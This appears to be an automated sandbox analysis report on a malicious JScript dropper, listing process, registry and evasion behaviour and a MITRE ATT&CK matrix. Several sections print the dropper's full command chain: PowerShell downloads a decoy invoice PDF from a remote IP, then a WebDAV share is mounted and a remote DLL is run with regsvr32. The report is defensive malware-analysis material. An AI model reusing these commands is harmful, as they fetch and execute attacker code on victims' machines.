Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3442.js.csv");ITextStream.WriteLine(" entry:7904 f:zqpandm");ITextStream.WriteLine(" exec:2 f:zqpandm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4919			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4932			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 4919 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep count: 4932 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7948	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7284	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1457238813.0000025FE4FFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: svchost.exe, 00000009.00000002.2681722623.0000022108A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@w
Source: net.exe, 00000007.00000002.1457238813.0000025FE4FA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.1457238813.0000025FE4FFA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2683440428.000002210E054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
